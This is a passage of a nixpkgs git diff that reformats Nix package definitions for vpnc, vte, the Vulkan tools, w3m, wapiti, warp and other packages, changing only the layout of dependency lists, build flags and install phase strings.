-  nativeBuildInputs =
-    [
-      dart-sass
-      jq
-      makeWrapper
-      moreutils
-      nodejs
-      pnpm.configHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      copyDesktopItems
-    ];
+  nativeBuildInputs = [
+    dart-sass
+    jq
+    makeWrapper
+    moreutils
+    nodejs
+    pnpm.configHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    copyDesktopItems
+  ];
 
   env.ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
 
diff --git a/pkgs/by-name/vo/volctl/package.nix b/pkgs/by-name/vo/volctl/package.nix
index 9be2580032c4..25104c205eb7 100644
--- a/pkgs/by-name/vo/volctl/package.nix
+++ b/pkgs/by-name/vo/volctl/package.nix
@@ -37,18 +37,17 @@ python3Packages.buildPythonApplication rec {
     wrapGAppsHook3
   ];
 
-  propagatedBuildInputs =
-    [
-      pango
-      gtk3
-    ]
-    ++ (with python3Packages; [
-      pulsectl
-      click
-      pycairo
-      pygobject3
-      pyyaml
-    ]);
+  propagatedBuildInputs = [
+    pango
+    gtk3
+  ]
+  ++ (with python3Packages; [
+    pulsectl
+    click
+    pycairo
+    pygobject3
+    pyyaml
+  ]);
 
   # with strictDeps importing "gi.repository.Gtk" fails with "gi.RepositoryError: Typelib file for namespace 'Pango', version '1.0' not found"
   strictDeps = false;
diff --git a/pkgs/by-name/vo/volk_2/package.nix b/pkgs/by-name/vo/volk_2/package.nix
index 57b849fcc28b..81cd00b6057e 100644
--- a/pkgs/by-name/vo/volk_2/package.nix
+++ b/pkgs/by-name/vo/volk_2/package.nix
@@ -35,13 +35,14 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  cmakeFlags =
-    [ (lib.cmakeBool "ENABLE_MODTOOL" enableModTool) ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # offset 14335 in1: -1.03372 in2: -1.03371 tolerance was: 1e-05
-      # volk_32f_log2_32f: fail on arch neon
-      "-DCMAKE_CTEST_ARGUMENTS=--exclude-regex;qa_volk_32f_log2_32f"
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "ENABLE_MODTOOL" enableModTool)
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    # offset 14335 in1: -1.03372 in2: -1.03371 tolerance was: 1e-05
+    # volk_32f_log2_32f: fail on arch neon
+    "-DCMAKE_CTEST_ARGUMENTS=--exclude-regex;qa_volk_32f_log2_32f"
+  ];
 
   postInstall = lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
     remove-references-to -t ${stdenv.cc} $(readlink -f $out/lib/libvolk.so)
diff --git a/pkgs/by-name/vo/voms/package.nix b/pkgs/by-name/vo/voms/package.nix
index 2ecf704387a2..8bbcea533031 100644
--- a/pkgs/by-name/vo/voms/package.nix
+++ b/pkgs/by-name/vo/voms/package.nix
@@ -48,16 +48,15 @@ stdenv.mkDerivation (finalAttrs: {
     zlib
   ];
 
-  outputs =
-    [
-      "bin"
-      "out"
-      "dev"
-      "man"
-    ]
-    # `etc` output for default configurations that can optionally be
-    # installed to /etc (system-wide) or profile-path>/etc.
-    ++ lib.optional (externalEtc != null) "etc";
+  outputs = [
+    "bin"
+    "out"
+    "dev"
+    "man"
+  ]
+  # `etc` output for default configurations that can optionally be
+  # installed to /etc (system-wide) or profile-path>/etc.
+  ++ lib.optional (externalEtc != null) "etc";
 
   preAutoreconf = ''
     mkdir -p aux src/autogen
diff --git a/pkgs/by-name/vp/vpnc-scripts/package.nix b/pkgs/by-name/vp/vpnc-scripts/package.nix
index 4ff2b6d355e2..22fdbec0bb8b 100644
--- a/pkgs/by-name/vp/vpnc-scripts/package.nix
+++ b/pkgs/by-name/vp/vpnc-scripts/package.nix
@@ -29,33 +29,32 @@ stdenv.mkDerivation {
     cp vpnc-script $out/bin
   '';
 
-  preFixup =
-    ''
-      substituteInPlace $out/bin/vpnc-script \
-        --replace "which" "type -P"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace $out/bin/vpnc-script \
-        --replace "/sbin/resolvconf" "${openresolv}/bin/resolvconf" \
-        --replace "/usr/bin/resolvectl" "${systemd}/bin/resolvectl"
-    ''
-    + ''
-      wrapProgram $out/bin/vpnc-script \
-        --prefix PATH : "${
-          lib.makeBinPath (
-            [
-              nettools
-              gawk
-              coreutils
-              gnugrep
-            ]
-            ++ lib.optionals stdenv.hostPlatform.isLinux [
-              openresolv
-              iproute2
-            ]
-          )
-        }"
-    '';
+  preFixup = ''
+    substituteInPlace $out/bin/vpnc-script \
+      --replace "which" "type -P"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace $out/bin/vpnc-script \
+      --replace "/sbin/resolvconf" "${openresolv}/bin/resolvconf" \
+      --replace "/usr/bin/resolvectl" "${systemd}/bin/resolvectl"
+  ''
+  + ''
+    wrapProgram $out/bin/vpnc-script \
+      --prefix PATH : "${
+        lib.makeBinPath (
+          [
+            nettools
+            gawk
+            coreutils
+            gnugrep
+          ]
+          ++ lib.optionals stdenv.hostPlatform.isLinux [
+            openresolv
+            iproute2
+          ]
+        )
+      }"
+  '';
 
   meta = with lib; {
     homepage = "https://www.infradead.org/openconnect/";
diff --git a/pkgs/by-name/vp/vpnc/package.nix b/pkgs/by-name/vp/vpnc/package.nix
index d6b8630984a5..e1a9fa1287dc 100644
--- a/pkgs/by-name/vp/vpnc/package.nix
+++ b/pkgs/by-name/vp/vpnc/package.nix
@@ -29,35 +29,37 @@ stdenv.mkDerivation {
   nativeBuildInputs = [
     makeWrapper
     perl
-  ] ++ lib.optional (!opensslSupport) pkg-config;
+  ]
+  ++ lib.optional (!opensslSupport) pkg-config;
 
   buildInputs = [
     libgcrypt
     perl
-  ] ++ (if opensslSupport then [ openssl ] else [ gnutls ]);
+  ]
+  ++ (if opensslSupport then [ openssl ] else [ gnutls ]);
 
   makeFlags = [
     "PREFIX=$(out)"
     "ETCDIR=$(out)/etc/vpnc"
     "SCRIPT_PATH=${vpnc-scripts}/bin/vpnc-script"
-  ] ++ lib.optional opensslSupport "OPENSSL_GPL_VIOLATION=yes";
+  ]
+  ++ lib.optional opensslSupport "OPENSSL_GPL_VIOLATION=yes";
 
   env = lib.optionalAttrs stdenv.cc.isGNU {
     NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration";
   };
 
-  postPatch =
-    ''
-      substituteInPlace src/vpnc-disconnect \
-        --replace-fail /bin/sh ${lib.getExe' bash "sh"}
-      patchShebangs src/makeman.pl
-    ''
-    + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      # manpage generation invokes the build vpnc, which must be emulating when cross compiling
-      substituteInPlace src/makeman.pl --replace-fail \
-        '$vpnc --long-help' \
-        '${stdenv.hostPlatform.emulator buildPackages} $vpnc --long-help'
-    '';
+  postPatch = ''
+    substituteInPlace src/vpnc-disconnect \
+      --replace-fail /bin/sh ${lib.getExe' bash "sh"}
+    patchShebangs src/makeman.pl
+  ''
+  + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    # manpage generation invokes the build vpnc, which must be emulating when cross compiling
+    substituteInPlace src/makeman.pl --replace-fail \
+      '$vpnc --long-help' \
+      '${stdenv.hostPlatform.emulator buildPackages} $vpnc --long-help'
+  '';
 
   enableParallelBuilding = true;
   # Missing install depends:
diff --git a/pkgs/by-name/vp/vpp/package.nix b/pkgs/by-name/vp/vpp/package.nix
index 296301581582..0d1e0b9b1b7f 100644
--- a/pkgs/by-name/vp/vpp/package.nix
+++ b/pkgs/by-name/vp/vpp/package.nix
@@ -83,42 +83,41 @@ stdenv.mkDerivation rec {
   cmakeFlags = [
     "-DVPP_PLATFORM=default"
     "-DVPP_LIBRARY_DIR=lib"
-  ] ++ lib.optional enableDpdk "-DVPP_USE_SYSTEM_DPDK=ON";
+  ]
+  ++ lib.optional enableDpdk "-DVPP_USE_SYSTEM_DPDK=ON";
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optional enableDpdk dpdk'
-    ++ lib.optional enableRdma rdma-core'.dev;
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optional enableDpdk dpdk'
+  ++ lib.optional enableRdma rdma-core'.dev;
 
-  buildInputs =
-    [
-      check
-      openssl
-      (python3.withPackages (ps: [ ps.ply ]))
+  buildInputs = [
+    check
+    openssl
+    (python3.withPackages (ps: [ ps.ply ]))
 
-      subunit # vapi tests
-      mbedtls_2 # tlsmbed plugin
-      libpcap # bpf_trace_filter plugin
+    subunit # vapi tests
+    mbedtls_2 # tlsmbed plugin
+    libpcap # bpf_trace_filter plugin
 
-      # linux-cp plugin
-      libnl
-      libmnl
-    ]
-    ++ lib.optionals enableDpdk [
-      # dpdk plugin
-      libelf
-      jansson
-      zlib
-    ]
-    ++ lib.optionals enableAfXdp [
-      # af_xdp plugin
-      libelf
-      libbpf
-      xdp-tools'
-    ];
+    # linux-cp plugin
+    libnl
+    libmnl
+  ]
+  ++ lib.optionals enableDpdk [
+    # dpdk plugin
+    libelf
+    jansson
+    zlib
+  ]
+  ++ lib.optionals enableAfXdp [
+    # af_xdp plugin
+    libelf
+    libbpf
+    xdp-tools'
+  ];
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/vs/vscode-js-debug/package.nix b/pkgs/by-name/vs/vscode-js-debug/package.nix
index 1dd8afc27caa..ce2ddd6e5238 100644
--- a/pkgs/by-name/vs/vscode-js-debug/package.nix
+++ b/pkgs/by-name/vs/vscode-js-debug/package.nix
@@ -29,7 +29,8 @@ buildNpmPackage rec {
   nativeBuildInputs = [
     pkg-config
     node-gyp
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
 
   buildInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [ libsecret ];
 
diff --git a/pkgs/by-name/vt/vte/package.nix b/pkgs/by-name/vt/vte/package.nix
index 4569a20e1fc9..6d84d09717aa 100644
--- a/pkgs/by-name/vt/vte/package.nix
+++ b/pkgs/by-name/vt/vte/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional (gtkVersion != null) "devdoc";
+  ]
+  ++ lib.optional (gtkVersion != null) "devdoc";
 
   src = fetchurl {
     url = "mirror://gnome/sources/vte/${lib.versions.majorMinor finalAttrs.version}/vte-${finalAttrs.version}.tar.xz";
@@ -72,20 +73,19 @@ stdenv.mkDerivation (finalAttrs: {
     gi-docgen
   ];
 
-  buildInputs =
-    [
-      cairo
-      fribidi
-      gnutls
-      pango # duplicated with propagatedBuildInputs to support gtkVersion == null
-      pcre2
-      lz4
-      icu
-      fast-float
-    ]
-    ++ lib.optionals systemdSupport [
-      systemd
-    ];
+  buildInputs = [
+    cairo
+    fribidi
+    gnutls
+    pango # duplicated with propagatedBuildInputs to support gtkVersion == null
+    pcre2
+    lz4
+    icu
+    fast-float
+  ]
+  ++ lib.optionals systemdSupport [
+    systemd
+  ];
 
   # Required by vte-2.91.pc.
   propagatedBuildInputs = lib.optionals (gtkVersion != null) [
@@ -97,19 +97,18 @@ stdenv.mkDerivation (finalAttrs: {
     pango
   ];
 
-  mesonFlags =
-    [
-      "-Ddocs=true"
-      (lib.mesonBool "gtk3" (gtkVersion == "3"))
-      (lib.mesonBool "gtk4" (gtkVersion == "4"))
-    ]
-    ++ lib.optionals (!systemdSupport) [
-      "-D_systemd=false"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # -Bsymbolic-functions is not supported on darwin
-      "-D_b_symbolic_functions=false"
-    ];
+  mesonFlags = [
+    "-Ddocs=true"
+    (lib.mesonBool "gtk3" (gtkVersion == "3"))
+    (lib.mesonBool "gtk4" (gtkVersion == "4"))
+  ]
+  ++ lib.optionals (!systemdSupport) [
+    "-D_systemd=false"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # -Bsymbolic-functions is not supported on darwin
+    "-D_b_symbolic_functions=false"
+  ];
 
   # error: argument unused during compilation: '-pie' [-Werror,-Wunused-command-line-argument]
   env.NIX_CFLAGS_COMPILE = toString (
diff --git a/pkgs/by-name/vu/vulkan-loader/package.nix b/pkgs/by-name/vu/vulkan-loader/package.nix
index 712d91733b52..c2e61f455bf5 100644
--- a/pkgs/by-name/vu/vulkan-loader/package.nix
+++ b/pkgs/by-name/vu/vulkan-loader/package.nix
@@ -32,26 +32,26 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     pkg-config
   ];
-  buildInputs =
-    [ vulkan-headers ]
-    ++ lib.optionals enableX11 [
-      libX11
-      libxcb
-      libXrandr
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland
-    ];
+  buildInputs = [
+    vulkan-headers
+  ]
+  ++ lib.optionals enableX11 [
+    libX11
+    libxcb
+    libXrandr
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland
+  ];
 
-  cmakeFlags =
-    [
-      "-DCMAKE_INSTALL_INCLUDEDIR=${vulkan-headers}/include"
-      (lib.cmakeBool "BUILD_WSI_XCB_SUPPORT" enableX11)
-      (lib.cmakeBool "BUILD_WSI_XLIB_SUPPORT" enableX11)
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "-DSYSCONFDIR=${moltenvk}/share"
-    ++ lib.optional stdenv.hostPlatform.isLinux "-DSYSCONFDIR=${addDriverRunpath.driverLink}/share"
-    ++ lib.optional (stdenv.buildPlatform != stdenv.hostPlatform) "-DUSE_GAS=OFF";
+  cmakeFlags = [
+    "-DCMAKE_INSTALL_INCLUDEDIR=${vulkan-headers}/include"
+    (lib.cmakeBool "BUILD_WSI_XCB_SUPPORT" enableX11)
+    (lib.cmakeBool "BUILD_WSI_XLIB_SUPPORT" enableX11)
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "-DSYSCONFDIR=${moltenvk}/share"
+  ++ lib.optional stdenv.hostPlatform.isLinux "-DSYSCONFDIR=${addDriverRunpath.driverLink}/share"
+  ++ lib.optional (stdenv.buildPlatform != stdenv.hostPlatform) "-DUSE_GAS=OFF";
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/vu/vulkan-tools/package.nix b/pkgs/by-name/vu/vulkan-tools/package.nix
index b95c207125ac..215b4f05f61b 100644
--- a/pkgs/by-name/vu/vulkan-tools/package.nix
+++ b/pkgs/by-name/vu/vulkan-tools/package.nix
@@ -42,27 +42,26 @@ stdenv.mkDerivation rec {
     wayland-scanner
   ];
 
-  buildInputs =
-    [
-      glslang
-      vulkan-headers
-      vulkan-loader
-      vulkan-volk
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libffi
-      libX11
-      libXau
-      libxcb
-      libXdmcp
-      libXrandr
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      moltenvk
-      moltenvk.dev
-    ];
+  buildInputs = [
+    glslang
+    vulkan-headers
+    vulkan-loader
+    vulkan-volk
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libffi
+    libX11
+    libXau
+    libxcb
+    libXdmcp
+    libXrandr
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    moltenvk
+    moltenvk.dev
+  ];
 
   libraryPath = lib.strings.makeLibraryPath [ vulkan-loader ];
 
@@ -70,21 +69,20 @@ stdenv.mkDerivation rec {
 
   env.PKG_CONFIG_WAYLAND_SCANNER_WAYLAND_SCANNER = lib.getExe buildPackages.wayland-scanner;
 
-  cmakeFlags =
-    [
-      # Don't build the mock ICD as it may get used instead of other drivers, if installed
-      "-DBUILD_ICD=OFF"
-      # vulkaninfo loads libvulkan using dlopen, so we have to add it manually to RPATH
-      "-DCMAKE_INSTALL_RPATH=${libraryPath}"
-      "-DGLSLANG_INSTALL_DIR=${glslang}"
-      # Hide dev warnings that are useless for packaging
-      "-Wno-dev"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DMOLTENVK_REPO_ROOT=${moltenvk}/share/vulkan/icd.d"
-      # Don’t build the cube demo because it requires `ibtool`, which is not available in nixpkgs.
-      "-DBUILD_CUBE=OFF"
-    ];
+  cmakeFlags = [
+    # Don't build the mock ICD as it may get used instead of other drivers, if installed
+    "-DBUILD_ICD=OFF"
+    # vulkaninfo loads libvulkan using dlopen, so we have to add it manually to RPATH
+    "-DCMAKE_INSTALL_RPATH=${libraryPath}"
+    "-DGLSLANG_INSTALL_DIR=${glslang}"
+    # Hide dev warnings that are useless for packaging
+    "-Wno-dev"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DMOLTENVK_REPO_ROOT=${moltenvk}/share/vulkan/icd.d"
+    # Don’t build the cube demo because it requires `ibtool`, which is not available in nixpkgs.
+    "-DBUILD_CUBE=OFF"
+  ];
 
   meta = with lib; {
     description = "Khronos official Vulkan Tools and Utilities";
diff --git a/pkgs/by-name/vu/vulkan-validation-layers/package.nix b/pkgs/by-name/vu/vulkan-validation-layers/package.nix
index 422250e5e9ca..901a1fdd960e 100644
--- a/pkgs/by-name/vu/vulkan-validation-layers/package.nix
+++ b/pkgs/by-name/vu/vulkan-validation-layers/package.nix
@@ -42,24 +42,23 @@ stdenv.mkDerivation rec {
     jq
   ];
 
-  buildInputs =
-    [
-      glslang
-      robin-hood-hashing
-      spirv-headers
-      spirv-tools
-      vulkan-headers
-      vulkan-utility-libraries
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-      libXau
-      libXdmcp
-      libXrandr
-      libffi
-      libxcb
-      wayland
-    ];
+  buildInputs = [
+    glslang
+    robin-hood-hashing
+    spirv-headers
+    spirv-tools
+    vulkan-headers
+    vulkan-utility-libraries
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+    libXau
+    libXdmcp
+    libXrandr
+    libffi
+    libxcb
+    wayland
+  ];
 
   cmakeFlags = [
     "-DBUILD_LAYER_SUPPORT_FILES=ON"
diff --git a/pkgs/by-name/vu/vulnix/package.nix b/pkgs/by-name/vu/vulnix/package.nix
index 7ce9413457d8..c9075f43ea7c 100644
--- a/pkgs/by-name/vu/vulnix/package.nix
+++ b/pkgs/by-name/vu/vulnix/package.nix
@@ -32,19 +32,18 @@ python3Packages.buildPythonApplication rec {
     pytest-cov
   ];
 
-  propagatedBuildInputs =
-    [
-      nix
-    ]
-    ++ (with python3Packages; [
-      click
-      colorama
-      pyyaml
-      requests
-      setuptools
-      toml
-      zodb
-    ]);
+  propagatedBuildInputs = [
+    nix
+  ]
+  ++ (with python3Packages; [
+    click
+    colorama
+    pyyaml
+    requests
+    setuptools
+    toml
+    zodb
+  ]);
 
   postBuild = "make -C doc";
 
diff --git a/pkgs/by-name/vu/vunnel/package.nix b/pkgs/by-name/vu/vunnel/package.nix
index b40a86a96d16..c043f57cae3f 100644
--- a/pkgs/by-name/vu/vunnel/package.nix
+++ b/pkgs/by-name/vu/vunnel/package.nix
@@ -60,14 +60,15 @@ python3.pkgs.buildPythonApplication rec {
     ++ xsdata.optional-dependencies.lxml
     ++ xsdata.optional-dependencies.soap;
 
-  nativeCheckInputs =
-    [ git ]
-    ++ (with python3.pkgs; [
-      jsonschema
-      pytest-mock
-      pytest-unordered
-      pytestCheckHook
-    ]);
+  nativeCheckInputs = [
+    git
+  ]
+  ++ (with python3.pkgs; [
+    jsonschema
+    pytest-mock
+    pytest-unordered
+    pytestCheckHook
+  ]);
 
   pythonImportsCheck = [ "vunnel" ];
 
diff --git a/pkgs/by-name/vv/vvvvvv/package.nix b/pkgs/by-name/vv/vvvvvv/package.nix
index e2519a1e5845..cfc62c6b25ff 100644
--- a/pkgs/by-name/vv/vvvvvv/package.nix
+++ b/pkgs/by-name/vv/vvvvvv/package.nix
@@ -50,7 +50,8 @@ stdenv.mkDerivation rec {
 
   cmakeFlags = [
     "-DBUNDLE_DEPENDENCIES=OFF"
-  ] ++ lib.optional makeAndPlay "-DMAKEANDPLAY=ON";
+  ]
+  ++ lib.optional makeAndPlay "-DMAKEANDPLAY=ON";
 
   desktopItems = [
     (makeDesktopItem {
@@ -85,14 +86,13 @@ stdenv.mkDerivation rec {
     description =
       "A retro-styled platform game"
       + lib.optionalString makeAndPlay " (redistributable, without original levels)";
-    longDescription =
-      ''
-        VVVVVV is a platform game all about exploring one simple mechanical
-        idea - what if you reversed gravity instead of jumping?
-      ''
-      + lib.optionalString makeAndPlay ''
-        (Redistributable version, doesn't include the original levels.)
-      '';
+    longDescription = ''
+      VVVVVV is a platform game all about exploring one simple mechanical
+      idea - what if you reversed gravity instead of jumping?
+    ''
+    + lib.optionalString makeAndPlay ''
+      (Redistributable version, doesn't include the original levels.)
+    '';
     homepage = "https://thelettervsixtim.es";
     changelog = "https://github.com/TerryCavanagh/VVVVVV/releases/tag/${src.rev}";
     license = licenses.unfree;
diff --git a/pkgs/by-name/w3/w3m/package.nix b/pkgs/by-name/w3/w3m/package.nix
index 3722c6a5ceba..37f1123dcfb7 100644
--- a/pkgs/by-name/w3/w3m/package.nix
+++ b/pkgs/by-name/w3/w3m/package.nix
@@ -80,16 +80,15 @@ stdenv.mkDerivation rec {
     gettext
     updateAutotoolsGnuConfigScriptsHook
   ];
-  buildInputs =
-    [
-      ncurses
-      boehmgc
-      zlib
-    ]
-    ++ lib.optional sslSupport openssl
-    ++ lib.optional mouseSupport gpm-ncurses
-    ++ lib.optional graphicsSupport imlib2
-    ++ lib.optional x11Support libX11;
+  buildInputs = [
+    ncurses
+    boehmgc
+    zlib
+  ]
+  ++ lib.optional sslSupport openssl
+  ++ lib.optional mouseSupport gpm-ncurses
+  ++ lib.optional graphicsSupport imlib2
+  ++ lib.optional x11Support libX11;
 
   postInstall = lib.optionalString graphicsSupport ''
     ln -s $out/libexec/w3m/w3mimgdisplay $out/bin
@@ -97,16 +96,15 @@ stdenv.mkDerivation rec {
 
   hardeningDisable = [ "format" ];
 
-  configureFlags =
-    [
-      "--with-ssl=${openssl.dev}"
-      "--with-gc=${boehmgc.dev}"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "ac_cv_func_setpgrp_void=${if stdenv.hostPlatform.isBSD then "no" else "yes"}"
-    ]
-    ++ lib.optional graphicsSupport "--enable-image=${lib.optionalString x11Support "x11,"}fb"
-    ++ lib.optional (graphicsSupport && !x11Support) "--without-x";
+  configureFlags = [
+    "--with-ssl=${openssl.dev}"
+    "--with-gc=${boehmgc.dev}"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "ac_cv_func_setpgrp_void=${if stdenv.hostPlatform.isBSD then "no" else "yes"}"
+  ]
+  ++ lib.optional graphicsSupport "--enable-image=${lib.optionalString x11Support "x11,"}fb"
+  ++ lib.optional (graphicsSupport && !x11Support) "--without-x";
 
   preConfigure = ''
     substituteInPlace ./configure --replace "/lib /usr/lib /usr/local/lib /usr/ucblib /usr/ccslib /usr/ccs/lib /lib64 /usr/lib64" /no-such-path
diff --git a/pkgs/by-name/wa/waffle/package.nix b/pkgs/by-name/wa/waffle/package.nix
index 544e9f90e976..d16f2412583f 100644
--- a/pkgs/by-name/wa/waffle/package.nix
+++ b/pkgs/by-name/wa/waffle/package.nix
@@ -35,43 +35,41 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-Y7GRYLqSO572qA1eZ3jS8QlZ1X9xKpDtScaySTuPK/U=";
   };
 
-  buildInputs =
-    [
-      bash-completion
-      libGL
-    ]
-    ++ lib.optionals (with stdenv.hostPlatform; isUnix && !isDarwin) [
-      libglvnd
-    ]
-    ++ lib.optionals x11Support [
-      libX11
-      libxcb
-    ]
-    ++ lib.optionals waylandSupport [
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optionals useGbm [
-      udev
-      libgbm
-    ];
+  buildInputs = [
+    bash-completion
+    libGL
+  ]
+  ++ lib.optionals (with stdenv.hostPlatform; isUnix && !isDarwin) [
+    libglvnd
+  ]
+  ++ lib.optionals x11Support [
+    libX11
+    libxcb
+  ]
+  ++ lib.optionals waylandSupport [
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optionals useGbm [
+    udev
+    libgbm
+  ];
 
   depsBuildBuild = [ pkg-config ];
 
   dontUseCmakeConfigure = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      makeWrapper
-      meson
-      ninja
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals waylandSupport [
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    cmake
+    makeWrapper
+    meson
+    ninja
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals waylandSupport [
+    wayland-scanner
+  ];
 
   PKG_CONFIG_BASH_COMPLETION_COMPLETIONSDIR = "${placeholder "out"}/share/bash-completion/completions";
 
diff --git a/pkgs/by-name/wa/waifu2x-converter-cpp/package.nix b/pkgs/by-name/wa/waifu2x-converter-cpp/package.nix
index 51f5552c970b..f56a8868e882 100644
--- a/pkgs/by-name/wa/waifu2x-converter-cpp/package.nix
+++ b/pkgs/by-name/wa/waifu2x-converter-cpp/package.nix
@@ -28,15 +28,14 @@ stdenv.mkDerivation rec {
     ./waifu2x_darwin_build.diff
   ];
 
-  buildInputs =
-    [
-      opencv4
-    ]
-    ++ lib.optional cudaSupport cudatoolkit
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      ocl-icd
-      opencl-headers
-    ];
+  buildInputs = [
+    opencv4
+  ]
+  ++ lib.optional cudaSupport cudatoolkit
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    ocl-icd
+    opencl-headers
+  ];
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/wa/wakeonlan/package.nix b/pkgs/by-name/wa/wakeonlan/package.nix
index 28efca282e44..4bc1b65674fd 100644
--- a/pkgs/by-name/wa/wakeonlan/package.nix
+++ b/pkgs/by-name/wa/wakeonlan/package.nix
@@ -22,7 +22,8 @@ perlPackages.buildPerlPackage rec {
 
   nativeBuildInputs = [
     installShellFiles
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin shortenPerlShebang;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin shortenPerlShebang;
 
   nativeCheckInputs = [
     perlPackages.TestPerlCritic
@@ -34,14 +35,13 @@ perlPackages.buildPerlPackage rec {
     rm -f t/93_pod_spell.t
   '';
 
-  installPhase =
-    ''
-      install -Dt $out/bin wakeonlan
-      installManPage blib/man1/wakeonlan.1
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      shortenPerlShebang $out/bin/wakeonlan
-    '';
+  installPhase = ''
+    install -Dt $out/bin wakeonlan
+    installManPage blib/man1/wakeonlan.1
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    shortenPerlShebang $out/bin/wakeonlan
+  '';
 
   meta = with lib; {
     description = "Perl script for waking up computers via Wake-On-LAN magic packets";
diff --git a/pkgs/by-name/wa/wapiti/package.nix b/pkgs/by-name/wa/wapiti/package.nix
index c17e22420581..086df21bd12a 100644
--- a/pkgs/by-name/wa/wapiti/package.nix
+++ b/pkgs/by-name/wa/wapiti/package.nix
@@ -149,15 +149,14 @@ python3Packages.buildPythonApplication rec {
     "test_attack_unifi"
   ];
 
-  disabledTestPaths =
-    [
-      # Requires sslyze which is obsolete and was removed
-      "tests/attack/test_mod_ssl.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # PermissionError: [Errno 13] Permission denied: '/tmp/crawl.db'
-      "tests/web/test_persister.py"
-    ];
+  disabledTestPaths = [
+    # Requires sslyze which is obsolete and was removed
+    "tests/attack/test_mod_ssl.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # PermissionError: [Errno 13] Permission denied: '/tmp/crawl.db'
+    "tests/web/test_persister.py"
+  ];
 
   pythonImportsCheck = [ "wapitiCore" ];
 
diff --git a/pkgs/by-name/wa/warp-terminal/package.nix b/pkgs/by-name/wa/warp-terminal/package.nix
index 7aebef84c432..4af5fe0bfdd9 100644
--- a/pkgs/by-name/wa/warp-terminal/package.nix
+++ b/pkgs/by-name/wa/warp-terminal/package.nix
@@ -66,22 +66,22 @@ let
       xorg.libxcb
       xorg.libXcursor
       xorg.libXi
-    ] ++ lib.optionals waylandSupport [ wayland ];
+    ]
+    ++ lib.optionals waylandSupport [ wayland ];
 
-    installPhase =
-      ''
-        runHook preInstall
+    installPhase = ''
+      runHook preInstall
 
-        mkdir $out
-        cp -r opt usr/* $out
+      mkdir $out
+      cp -r opt usr/* $out
 
-      ''
-      + lib.optionalString waylandSupport ''
-        wrapProgram $out/bin/warp-terminal --set WARP_ENABLE_WAYLAND 1
-      ''
-      + ''
-        runHook postInstall
-      '';
+    ''
+    + lib.optionalString waylandSupport ''
+      wrapProgram $out/bin/warp-terminal --set WARP_ENABLE_WAYLAND 1
+    ''
+    + ''
+      runHook postInstall
+    '';
   });
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
diff --git a/pkgs/by-name/wa/warp/package.nix b/pkgs/by-name/wa/warp/package.nix
index 9f2bb741c436..8767d510ddce 100644
--- a/pkgs/by-name/wa/warp/package.nix
+++ b/pkgs/by-name/wa/warp/package.nix
@@ -56,18 +56,17 @@ stdenv.mkDerivation rec {
     rustc
   ];
 
-  buildInputs =
-    [
-      glib
-      gtk4
-      libadwaita
-      zbar
-    ]
